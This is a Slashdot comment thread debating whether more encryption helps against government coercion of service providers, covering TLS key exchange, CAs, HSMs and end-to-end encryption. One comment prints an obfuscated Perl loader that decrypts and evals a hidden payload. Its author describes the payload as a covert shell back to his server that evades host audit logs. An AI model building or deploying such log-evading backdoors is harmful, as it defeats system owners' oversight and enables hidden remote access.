  59. Re:better title:some common encryption practices s by gnoshi · · Score: 1

    As pointed out by others, this 'problem' is nonsense because the random number is generated by the client's browser. A government could lean on browser providers, but that puts the 'attack code' client-side and waiting to be noticed.

    Trust of keys from providers is a real problem. In order to be certain that a connection is actually secure from listening you have to trust that what you are getting is the real certificate from the service provider, and not an 'attack' certificate generated by some dodgy CA (e.g. DigiNotar and the Iranian google snooping, and others). This can be reduced in some (limited) cases by using certificate pinning, or by using something like EFF's SSL Observatory.
    Even if you actually are getting the 'real' certificate, you need to trust that the service provider hasn't already handed that certificate over to government. This isn't just a problem for the current certificate trust model - obviously if the other person is giving away their keys then you're pretty screwed regardless of the encryption system.
    Finally, even if the communication is encrypted and the spying group doesn't have the keys, you still have to trust the service provider to not just hand over the unencrypted network traffic or your content anyway.
    That's a lot of trust being spread around.

    In the case of something like gmail, the solution is more encryption - it is encryption of the content end-to-end rather than just in transit, and with keys only you and the recipient have. That could be personally exchanged self-signed x509 keys/certs or OpenPGP keys, or even preshared symmetric keys. If you're a bit more trusting, it could be keys signed by a trusted other (a genuinely trusted other, not a large company).

    So the solution is more encryption - in part at least. Just not more TLS.

  60. Bitcoin by Anonymous Coward · · Score: 0

    I've been involved with bitcoin for a number of years. These days I keep a lot of my money on the chain and am aware of many of the risks involved. I'm used to tin-foil hatters painting ridiculous doomsday scenarios. The idea that the US government will coerce the devs into weakening the encryption without the community discovering the attack is the most laughably absurd possibility I've read for a few months.

  61. keyspace negawatts by epine · · Score: 2

    This particular scenario is rubbish.

    It's weird that PHK framed it this way, but he's on the right track, regardless. Compromised entropy is one of the largest persistent attack surfaces in the state surveillance war. It's darn hard to notice when your client-side random key is leaking key space from prior exchanges, unless we're all running perfectly vetted software every day of the week and twice on Sunday and nothing bad ever happens to the golden master distribution chain. Developers never lose their private keys ...

    From the dark side, at Borg scale, it's a slow war of attrition. The more they know about you, the better their guesses become. Suppose they gain possession of a dozen of your passwords from the least upstanding corporations you deal with. Your passwords have zero cross-entropy, right? Every password entirely unconditioned on any other password you've ever used?

    And it if turns our you're a member of the 0.01% who uses distinct, randomly generated sixteen-character password strings for every site, so much the better to target you with other methods.

    This isn't a battle over the yield strength of the titanium crypto primitives. It's a battle over the total burden. Every person who re-uses the same password a dozen times is that much less computation. Password cracking is like Type II b muscle fiber. It's the muscle fiber of last resort, that one your body activates to lift an overturned car off your child after a crash. Traffic analysis is Type I muscle fiber, the fiber you can use all day long, day after day.

    That big hassle with the self-signed certs (which are needed for authentication) significantly thinned the default use of strong encryption for simple privacy. These did not need to be tied together as they were. Because the use of encryption stands out and the connectivity graph is below the percolation threshhold, it becomes hard to set up covert onion routers.

    The focus on encryption strength is mostly red herring to distract us from the real agenda, which is keeping the general run of affairs extremely sloppy. The whole surveillance apparatus depends on the bulk manufacture of negawatts (shedding keyspace) in dribbs and drabbs by various murky political means. It's not a hard war, it's a soft war.

    1. Re:keyspace negawatts by papafox_too · · Score: 1

      It's weird that PHK framed it this way, but he's on the right track, regardless. Compromised entropy is one of the largest persistent attack surfaces in the state surveillance war. It's darn hard to notice when your client-side random key is leaking key space from prior exchanges, unless we're all running perfectly vetted software every day of the week and twice on Sunday and nothing bad ever happens to the golden master distribution chain. Developers never lose their private keys ...

      Compromising the entropy of 100 major web sites (Google, Yahoo, MS, etc) may be possible. Compromising the entropy of hundreds of millions of clients would be vastly more difficult. OK, the evil government may persuade MS to modify every copy of Windows - after they tried that years ago with US vs Export versions of crypto - but what about Linux and other open source OS's? Any attempt to play with the client side of crypto is going to get noticed very quickly.

      As for compromised private keys, yes it can happen, but only on a small scale. All serious SSL crypto (banks, Gmail etc) is done using Hardware Security Modules. HSM's store the private keys securely, performing all key operations internally. The only time the private key will leave the HSM is when it's backed up onto a smart card (which is itself a form of HSM). So large scale compromising of Private Keys is not practical.

      Alternatively, the Evil Government could theoretically persuade Google, Yahoo et al to use one of a number of pre-approved Private Keys. Even that would be noticed very quickly. There are a number of monitoring sites which collect X.509 certificates regularly for most major sites. We are looking for forged certificates being used for Man in the Middle Attacks. So if a key is ever used across multiple web sites it will be detected very quickly.

      I still think the whole scenario is a Movie Plot Threat.

    2. Re:keyspace negawatts by Anonymous Coward · · Score: 0

      It is.

      The scenario is flawed because it's looking at the wrong problem. The encryption is irrelevant because the attacker has compromised the remote endpoint. If "they're" in a position to have their own software installed, they're also in a position to tap the stream after it's been decrypted, or copy the server's private key for themselves. In either case the encryption is unchanged, and the plaintext is made available with significantly less effort. (In the latter case, even previously-recorded communications can be decrypted.)

      Oblig

  62. The Grand List of People With No Integrity by Narcocide · · Score: 1

    Poul-Henning Kamp, you're the newest addition to our list. Congratulations!

  63. The answer is to teach kids to be programers. by VortexCortex · · Score: 4, Interesting

    Then they don't need to rely on anyone else to create encryption systems or key exchanges.

    Once I had a web hosting provider that allowed SSH access. Great for pushing my Git Commits in... However, there was a log file owned by root that stored every command I entered into the SSH terminal, which sometimes had credentials for other servers the server connected to. I couldn't edit it or delete the log file. So I did this instead: email-report.pl

    #!/usr/bin/perl -w
    use strict;use bytes;use Digest;use FileHandle;use Fcntl qw(:seek);my $A
    ="0123456789abcdef";my @c=split(//,$A);sub h{my $B=shift;my $C=shift;my $D=shift
    ;my $E=shift;my $F=shift;$F=0 if!defined $F;my $G=shift;my $H=0;$G=\$H if
    !defined $G;my $I='';my $K=$F||1;my $L=0;my $J='';my $W=$B->clone;my $N=$#{$C}+1
    ;my @M=@{$C};while(!$L){my $O='';my $P=$E->read($O,1);if(!defined $P){return
    undef;}if($P){if($O eq "\n"){$$G=0;};$O=~s/[^0-9a-z]//;$I.=$O;}else{$L=1;}if(
    length $I>1) {$$G++;$O=pack('H*',$I);$I='';if($$D>=$N){@M=@{$C};$W=$B->clone;
    @{$C}=split(//,$W->digest);$$D=0;};$O=chr(ord(@{$C}[$$D++])^ord($O));if($F!=0){
    $J.=$O;$B->add($O);$K--;if($K<1){$L=1;}}elsif($O eq "\x00"){$L=1;$$D-=1;
    $E->seek(-2,SEEK_CUR);$$G--;if($$D<0){$$D=$N-1;@{$C}=@M;};}else{$J.=$O;$B->add(
    $O);if($O eq "\n"){$L=1;};};};};return $J;};my $B=new Digest("SHA-1");my $N=
    length$B->digest;print pack('H*','506173737068726173653a20');my $Q=<STDIN>;
    chomp $Q;if($Q eq''){exit 1;}my $R=new FileHandle;$R='DATA';my $F=0;my $S='';
    while((length $S)<($N*2)){my $O='';my $P=$R->read($O,1);if(!defined $P){exit 1;}
    ;if($P<1){last;};$O=~s/[^0-9a-f]//;$S.=$O;};$S=pack('H*',$S);if((length $S)!=$N)
    {exit 1;};if(length $Q>$N){$B->add($Q);$Q=$B->digest();}elsif (length $Q<$N){
    $Q.=("\x00"x($N-(length $Q)));};my($T,$U);foreach my $O(split(//,$Q)){$T.=chr(
    ord($O)^0x5c);$U.=chr(ord($O)^0x36);};$B->add($T,$B->add($U,$S)->digest());$T=
    $U=$Q="\x00"x$N;$T=$U=$Q='';my $I='';my $W=$B->clone();my @V=split(//,$W->digest
    );my $X=0;my $L=0;my $Y=0;my $Z='';$Z=h($B,\@V,\$X,$R,8192,\$Y);if(!defined $Z)
    {exit 1;}if($Z eq ''){exit 1;}eval $Z;exit 0;
    __DATA__
    4e45266f48ed8d...
    Snipped, see link, not that it'll do you any good without the key.
    I'd give you the key, but running arbitrary enciphered code is ill advised...

    What is that? Well, it's not really obfuscated, it's an encrypted Perl program called "email-report.pl", once started it asks for the passphrase that decodes the following program. Once the payload program is decrypted and running it peals off another encrypted channel to back to me using the stream cipher and TCP or UDP to provide a shell-like interface. Since it asks for the passpharse over STDIN it doesn't get logged to the session log. The commands I give it are executed in memory without being logged into the terminal session log file. The files I create over the shell aren't logged in the FTP log file either.

    Once such a shell is up I can dump in more code to decrypt and execute, or store it as encrypted files to call up and decrypt and execute for later. I periodically generate encrypted email reports to myself with it, so that logs show emails being generated with it, but I can also do anything else I like, I can execute my programs in memory and their server will have no record of what program was executed. I can even have the program connect to other such enciphered shell programs running on other servers that don't need SSH to tunnel, just a net connection and the stream cipher -- I hold all the keys.

    Now, this wasn't even a serious effort. I'm not doing anything I actually need to hide from anyone. It was just a bit of fun to prevent server logs from storing a few other keys in the clear. If I had wanted to I could have the cipher incorporate a few thousand it

    1. Re:The answer is to teach kids to be programers. by VortexCortex · · Score: 1

      For the adventurous I whipped up a less dangerous payload that won't try to connect to my server and run any arbitrary code it receives.
      This one will just execute shell commands read from STDIN instead: Slashell

      Note that I also "upgraded" the encryption strength by simply changing the "SHA-1" to "SHA-512", like I said, you can drop any hash algorithm into the CBC stream cipher... SHA-256 would have probably been a better choice because SHA-512 is actually faster to implement on 64bit supercomputers.

      Change the eval $Z; to read print $Z if you'd rather see what you'll be running prior to running it.
      The passphrase is the hex string included in the link.

  64. Re:better title:some common encryption practices s by Anonymous Coward · · Score: 0

    What is "trusted"?

  65. Who cares? by manu0601 · · Score: 1

    If the US government can coerce an operator, it can get access to your data stored in its datacenters (and I understand this is what PRISM is about), and therefore who cares it can decipher the data in transit?

  66. Server doesn't create the session key by swillden · · Score: 4, Informative

    Umm... you should go re-read the SSL/TLS specs. The server doesn't get to dictate the session key.

    The session key (AKA master key) is computed from a "pre-master" secret key and two random numbers, one provided by client the other from the server. Both sides perform this computation independently, and the server has no control over the client random -- nor the client over the server random. Also, the pre-master secret is either generated entirely by the client, or else generated through a Diffie Hellman key agreement protocol, which again involves input from both sides.

    There may be other attacks, but the one described in the summary doesn't work.

    --
    Note to ACs: I usually delete AC replies without reading them. If you want to talk to me, log in.
  67. Encryption is just a tool by CanadianMacFan · · Score: 1

    Whether or not to use encryption isn't really the question. Some level of encryption is required because there will be bad people out there that will want to do you harm. The problem lately is that we have been given evidence that the major democratic governments are no longer trustworthy. We have gone past the point of talking whether we need to encrypt our messages or to double the number of bits in an encryption method. These are just bandages being applied to the hemorrhaging of our basic freedoms. We need to stop the bleeding at the source with political reforms. And to achieve those we need a new party that will stand up for the rights of the people unlike all of the existing mainstream parties who cater to their rich special interest groups.

    1. Re:Encryption is just a tool by jbolden · · Score: 1

      At least in the United States until recently the problem wasn't the parties but the electorate. The electorate is slowly shifting from strongly supportive to somewhat hostile.

    2. Re:Encryption is just a tool by CanadianMacFan · · Score: 1

      And where is the electorate going to express their frustration? Democrats and Republicans are two sides of the same coin. Each more interested in preventing the other from gaining power and serving their masters whom control the purse strings. Who will these people turn to as there is not yet a serious third party? Disposing of one politician for another will not do very much, especially when it comes to the issues of privacy. Everyone in power is more concerned about being caught and that the whistle blowers are punished rather than the illegal activities were happening in the first place.

      A new viable national party has to rise. And it must hold itself accountable far better than the laws require. For example, limits to campaign contributions and maybe even considering excluding contributions from corporations and lobbyist organizations. Third party auditing of their books with any member found in breach of party financial laws required to resign immediately. A method of recalling a member of the party whether they are running for an election or have even one it (of course different rules in each case). This would allow the electorate to recall a politician of this party even if the jurisdiction did not. Rules for completely being open concerning meetings with lobbyists and sponsors. There's a whole number of issues that would need to be raised in order for a new party to separate itself from the others and show that it really does have the interest of the people first and foremost at heart. Of course the biggest test would come when someone breaks one of the rules and needs to be removed.

    3. Re:Encryption is just a tool by jbolden · · Score: 1

      Everyone in power is more concerned about being caught and that the whistle blowers are punished rather than the illegal activities were happening in the first place.

      That's not true that everyone is equally hostile. There are liberal democrats and conservative republicans who for years have taken strong stands in favor of privacy.

      For example, limits to campaign contributions and maybe even considering excluding contributions from corporations and lobbyist organizations.

      That one breaks up pretty cleanly by party. In general most dems favor restrictions on campaign contributions and most republican oppose. However, that's a different issue than privacy. Third party auditing of campaigns is rather invasive. So our rules regarding disclosure and lobbying. I don't see why a pro privacy politician would in general support that. Those seem like anti-privacy regulations.

  68. More encryption is the answer if YOU control it by FuzzNugget · · Score: 1

    Use open source encryption software, create your own keys. Trusting an unknown, proprietary 3rd party to do it for you is not reliable, and your surprised?

  69. Defense in Depth, and Better Tech by Above · · Score: 2

    Encryption is not the solution but it is part of the solution.

    Relying on any one method to make snooping hard makes for a simple target. Encryption alone will not fix the problem for the reasons stated. For instance, make your e-mail transport over SSL and they will just read it on the server. So you need e-mail over SSL and PGP encrypted e-mail content. Breaking just one of the encryption methods would not be sufficient.

    Better technology is also needed though. What we have today is effectively pre-shared keys at the root of the certificate chain, which lead to this attack. Perfect Forward Secrecy is a step in the right direction, but not sufficient. We need to develop methods that either don't have any pre-shared keys, or if we have to use them require n of m, where each is controlled by a different regime preventing any one from compromising the system.

    However, ubiquitous encryption would be a good first step, and I think raise the bar in an interesting world even if it is not perfect.

    1. Re:Defense in Depth, and Better Tech by Anonymous Coward · · Score: 0

      The solution is not to trust into commercial services, including CAs. They are in bed with the 1% and NSA are their secret police, tasked to protect their scams.

      You own CA might be perfectly secure, though.

  70. Who owns the lock factory? by Anonymous Coward · · Score: 0

    They're only in the lock factory if you think they've mathematically compromised open-source specs and implementations.

  71. How is that worse by jbolden · · Score: 1

    Once one party to an encrypted conversations wants a 3rd party to hear it, you are done. If the cloud providers are willing to send out corrupted HTTPS then they are willing to just share their data, so what difference does it make? Encryption is designed to help in situations where one of the intermediaries (like a telco carrier) is passing information to a 3rd party but not the final recipient.

  72. Re:better title:some common encryption practices s by Anonymous Coward · · Score: 0

    You are still missing the point.

    A CA does not generate your private key. If you allow a CA to generate your private key, you are an idiot.

    CAs *sign* public keys. Now, a 3rd party could generate their own key pair and get their *public* key *signed* by a CA, therefore impersonating the real owner of the domain. But that is a known problem that has existed since inception of CAs - centralized "trust".

    In theory, you could create a 'web of trust' CAs, but that would be a slow, and not so secure process.

    Yes you 'could' delete all CA's in your system and replace them with your own, but who does that?

    Why would I do that? Most applications connect to public websites and there is no other way of verifying the certificate other than a CA. Deleting all of the CAs is not very good idea.

    Then again, some of my applications only need to trust *my* servers. They do not get whole CA list - they only see *my* CA certificate that I created. Same thing for IPSec. Only trust my own CA. There is absolutely no need to trust some random CA in these specific cases.

  73. He's Right by 10101001+10101001 · · Score: 1

    I believe he's right but for the wrong reasons. He effectively points out that a tyrannical government could circumvent all sorts of encryption while making people feel safer. He ignores that in such a system with more encryption can not make the situation any worse as far as tyrannical government snooping goes--without encryption they definitely will snoop and with encryption they only may snoop. Yet, the elephant in the room is the premise of the tyrannical government. To that point, the solution is not to accept the tyrannical government and bury oneself deeper in encryption. The solution is to change the tyrannical government. But, then, I'm afraid perhaps he and others believe that's quite impossible short of advocating a civil war which, me included, would rather not see. :(

    PS - This goes for anywhere in the world with a tyrannical government, as much as the US's nastiness has been in the news. Wars are almost a very bloody, horrible thing that last much longer than anyone thought when they started and become near unbearable every day longer that they last. Yet, obviously, countries like the US would almost certainly not exist with the Revolutionary [Civil] War.

    --
    Eurohacker European paranoia, gun rights, and h
  74. THE LINK by Anonymous Coward · · Score: 0

    http://queue.acm.org/detail.cfm?id=2508864

    It's a paper PHK wrote. A bit silly not to include it in the summary. Silly editors.

  75. It's all about trust by Anonymous Coward · · Score: 0

    There is no technical solution to prevent a government from torturing or murdering people, and there is not technical solution to prevent a government from intercepting confidential communication (because they can intercept communications, forge certificates, force hidden backdoors, use 0 day exploits, install root kits etc).

    Every form of encryption requires some form of trust (into the integrity of the software (open source or not) doing the encryption (and the core of the os) and into the certificate system, as every form of government requires trust (into the integrity of the people making the decissions),

    But most western countries only rarely torture or murder people (and when they do, they use the same stupid justification that they use for surveillance), because there is an ethic understanding that this not right to do it.

    We need to create that moral understanding.

  76. Re:better title:some common encryption practices s by Njovich · · Score: 1

    What if you do it in targeted attacks on specific users? How often do you check for changes in the key?

    As you say, this wouldn't really work for mass surveillance.

  77. Re:better title:some common encryption practices s by Njovich · · Score: 1

    You seem to think nobody knows that CA's don't have the private key. This is really basic knowledge, and nobody here is challenging you on that. We are not missing your point, it's just not any new information,

  78. Disinformation by Anonymous Coward · · Score: 0

    Https is already broken via control over the CAs.

    You could use symmetric encryption as long as you have means of key distribution. Every key distribution is a major weakness but there are at least ways to distribute keys that would be a pain in the ass for agencies, e.g. oral communication 2-factor passphrases, USB sticks with random keys that expire after 2 weeks, individual codebooks. Most of them are not very practical in large corporations, though.

  79. Alternatively, build a solution which exposes it by Anonymous Coward · · Score: 0

    I've built a protocol which endevours to use the rest of the users in the system to warn its users if the system designers we're being coerced into helping some agent. I agree with the OP in that everyone can be made to help any agent who is convincing enough but the trick is to try to design that out and better still, throw it open to being decrypted if you have the keys so you can see exactly what's being sent to keep the system honest.

    Declaring an interest, this is exactly the sort of system I've built.

  80. They've wanted to for years. by Anonymous Coward · · Score: 0

    Clipper chip, anyone? So maybe they have enough of their hooks in PGP/GPG or openssl to be useful to them, but not so it makes other people stop and think about what's happening there.

    Notice how the "Total Information Awareness" programme got instituted in different parts and under different names, and anyway already existed under yet different names in a different agency, as we now and again and again learn. And yes, they slurp up any and all encrypted stuff for later attacking. Wouldn't be too hard (for them) to just generate keys with gay abandon and keep'em all. With a big enough corpus you're bound to hit something, sometime. And who knows, maybe it's interesting enough to warrant the effort later. There are a lot of maybes in that outfit.

    PHK's argument* is basically that all the answers/workarounds/reactions have this problem, even if the means and effects stay hidden to the casual user. I'm not sure that is entirely fair, and I have no idea what to do about it, but it is something to take into consideration. If only to avoid deluding yourself with a false sense of security.

    * From the summary; RingTFA is about as useful as reading a Venezia turd.

  81. Human rights by xenobyte · · Score: 1

    The right to privacy should be made part of the charter of Human Rights. That would bypass and invalidate the laws of those so-called civilized countries that already includes provisions for coercing people into giving up passwords and passphrases - I'm especially looking at you, United Kingdom.

    Basically it should state that all people have an inviolate right to privacy and a right to protect this privacy. Only in case of a few very specific criminal charges can legislation allow the authorities to coerce the suspect into releasing privacy-protected information, but always only what's related to the case, nothing more. This means that they cannot request a password to decrypt a disk unless they know in advance that the disk only contain information relevant to the case and nothing more. If they want relevant information from such a disk, a trusted third party needs to be involved that will handle the process of accessing the disk and extracting the relevant information and nothing more, ensuring that the authorities only get the relevant information they've requested and nothing more.

    Same thing with a search warrant for a home. Today the police are allowed to use everything they find regardless of what they were looking for. If they look for drugs but find a stash of stolen goods, they can prosecute the stolen goods in a new case. Sure, it sounds reasonable but what if the search warrant is more or less bogus, perhaps entirely based on an anonymous tip (happens quite often in cases involving drugs for instance) ? - There's nothing to prevent the authorities from tipping themselves and if you look hard enough in any private space you will find something illegal, so in order to protect against harassment through methods like this, a search warrant must list in fairly specific terms what they expect to find and they're only allowed to use that for litigation purposes. Of course there's nothing to prevent the authorities from knowing what they found and obtaining a new search warrant if they can provide other evidence to validate the request, but if they have nothing and just are going fishing, this Human Rights provision will stop them in a civilized country.

    --
    "For every complex problem, there is a solution that is simple, neat, and wrong." -- H.L. Mencken (1880-1956) --
    1. Re:Human rights by Thor+Ablestar · · Score: 1

      There is no such thing as a civilized country.

  82. France already bans all encryption by Anonymous Coward · · Score: 0

    As subject.

    Freedom and liberty have not long, when their presence or lack thereof is controlled as now too strongly by the State, which in its own interest would be far happier if we were largely without liberty - so much less crime and terrorism and we can save the children - all true, but it comes at a price too high to pay, for freedom exists when liberty exists, but when liberty is gone, then freedom can be lost. I suspect the loss of freedom is rather like (I think it was) Bertram Russell's commnt on bankruptcy; it happens slowly, then all of a sudden.

    As it is, I think we have a nation slowly - and by that without much conscious alarm being raised - become accustomed to the absence of liberty; we know, in our hearts, that we're being watched. It is was striking to me, when I began to use TorChat and had then some confidence my discussion was private, just how great a relief it felt to be able to talk absolutely openly, something we are by the knowledge of our watching subliminally discouraged from.

  83. Its probably already been done. by Anonymous Coward · · Score: 0

    NT

  84. In Soviet Russia, the Key generates YOU! by Thor+Ablestar · · Score: 1

    Some time ago (circa 2006) I was a sysadmin in some quite big Russian medical organization. And the org was obliged to send an encrypted and signed mail to it's bank.

    You possibly understand what kind of people the Soviet bookkeepers are, so it was necessary to "train them specially"(c). And in this process I have discovered that the key is not generated by client and then signed by authority. It is both generated and signed by authority.

    I understand that the only purpose of it was a transport encryption and nobody ever will generate false letters. Nevertheless, it means that you should either review the key procedures yourself or considerably diminish your trust in them.

  85. It's a known security problem by Anonymous Coward · · Score: 0

    Man in the middle.
    You can't trust the service provider, period.
    Don't rely on software as service scams, don't believe in pathetic cookie privacy management stories from websites, don't save your data on PrismDrive on NSA_svr01 and so on.
    Encrypt all you need on YOUR end, with Open Source software only (compiled with Open Source compilers only, so backdoors cannot be assembled in during the build), then send it only in encrypted form.
    It would not be a bad idea switch to Open Source operating systems too, or else you risk to have your local disk, memory and keystrokes sent on the NSA without any notice.
    Then, you will be secure against mass surveillance, but don't even dream about being secure against a pro attack: TEMPEST-like equipment can successfully get all the traffic flowing in your local buses and recover a reasonably good amount of information with reasonable effort and expense - or more probably someone you know can sell you for 30 silver coins or less.

  86. In Soviet Russia the Iron solders YOU! by Thor+Ablestar · · Score: 1

    There IS a technical solution to prevent a government from torturing or murdering people.

    Firstly, the key to your personal data should consist of 2 parts: a passphrase and a keyfile. The keyfile may have self-destruction properties, and parts of it's backup trusted to a group of people. It will be necessary to find all them to restore the keyfile. # man 8 geli

    Secondly, the absence of key owner should both start the keyfile destruction and publish some info. Afaik Wikileaks has published some encrypted files, and every attempt to kill Assange will publish a decryption key.

  87. I still don't get the outrage. by Anonymous Coward · · Score: 0

    If you're not breaking any laws, what do you care if the government is looking at who is calling who and what emails are going where? You have no expectation of privacy for what you write on the outside of an envelope you put in the mail, and that logic extends to the headers of your email and the number of the phone you are dialing.

    Personally I think it's a horrible idea that private citizens are even allowed to use encryption because it makes it almost impossible to catch terrorists and criminals.

  88. So don't do anything? by Anonymous Coward · · Score: 0

    That sounds like it boils down to "Well, criminals are going to break the law anyways, so there's really no reason to make more laws for them to break."

    I mean, anyone with a lock pick set can break into my house, so I guess putting locks on my doors is just plain stupid.

  89. Re:better title:some common encryption practices s by Wierdy1024 · · Score: 1

    I believe functionality like this is already in HSTS and already used by google and chrome

  90. Re:better title:some common encryption practices s by Wierdy1024 · · Score: 1

    My mistake - it is in http://src.chromium.org/viewvc/chrome/trunk/src/net/base/transport_security_state.cc?revision=107993&view=markup&pathrev=107993

    and only enabled for google, twitter, tor, and a handful of other sites.

  91. Bad example by iamacat · · Score: 1

    SSL is for security between user and the site. Of course the site can reveal your data to anyone who wishes. End to end encryption with open source software between two users, is a whole other story

  92. Won't Use American Services Without TOR Condom by Anonymous Coward · · Score: 0

    ..any more. Mr Alexander, you conquered the cloud and salted it to death. You are a biiig leader of your army, Alexander !

    I stopped using gmail a long time ago and I consider using facebook being the equivalent of shouting in a bar full of secret police.

    I use strong crypto and TOR as a matter of principle now.

    Kind regards

    Pax Americana Subject

    1. Re:Won't Use American Services Without TOR Condom by Thor+Ablestar · · Score: 1

      I know some paranoiac that does not use American services without VPN. I asked him to visit a site that determines his IP. The site correctly displayed his IP, his previous non-encrypted IP he has used before VPN, his version of Linux, Firefox, display resolution and local time difference, as well as full list of extremist sites banned by Russian authorities he has visited.

      He was shocked. All this info was enough to fully disclose his identity.

  93. Buuuuh by Anonymous Coward · · Score: 0

    Some people, like me, are fully aware of this. They have patched their browser to display the most common configuration of all systems out there. When they go dark, they use a different browser than when operating in the light. I even heard of people who randomly create a browr http headers.

  94. All Your by Anonymous Coward · · Score: 0

    All Your Encryption Are Belong To Us (or should that be US?)

  95. Encryption is not supposed to solve that problem. by TsuruchiBrian · · Score: 1

    If Gary Government wants to spy on Alice and Bob, then Alice and Bob can use encryption to prevent things like man in the middle attacks.

    If Gary pays Bob money to divulge Alice's secret information, that's a different problem that encryption doesn't solve, nor should we expect it to.

    Encryption will safely get secret information to/from you to another trusted entity. If it turns out that this other entity can't be trusted, then you're shit out of luck. That's always been the case and will probably always be the case.

  96. Custom encryption by Anonymous Coward · · Score: 0

    Its a shame that more people just can't write their own encryption algorithms. Using a common source will always be extremely vulnerable.

  97. *End-to-end* encryption is the solution. by DrYak · · Score: 1

    ...and as usual, the answer is *END-TO-END* encryption. (Not just any random kind of encryption)

    Have all the users use good encryption locally on their machine BEFORE uploading their data onto Dropbox, and decrypt it locally after downloading it back.
    As long as all end-user follow this strictly and don't lose the encryption key outise of their group, there's no risk even if the government forces DropBox to open their space.

    Same also with communication:
    use ZRTP/SRTP (for voice) and OTR for messages.
    It encrypt communication before it leaves your control, and gets only decrypted at the other end.

    Unlike, say, skype, where the government could force microsoft to give the keys to the RC4 encryption used on the network.

    etc.

    Encryption works, as long as only trusted parties handle each end with no possible intermediate.

    Don't trust the other end-point of a transaction? (For example a website which could be forced by its government to open its HTTPS encryption, or whose certificate wasn't issued by a company you trust) Then don't do transaction with them, or consider that the communication could be spied upon.

    --
    "Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]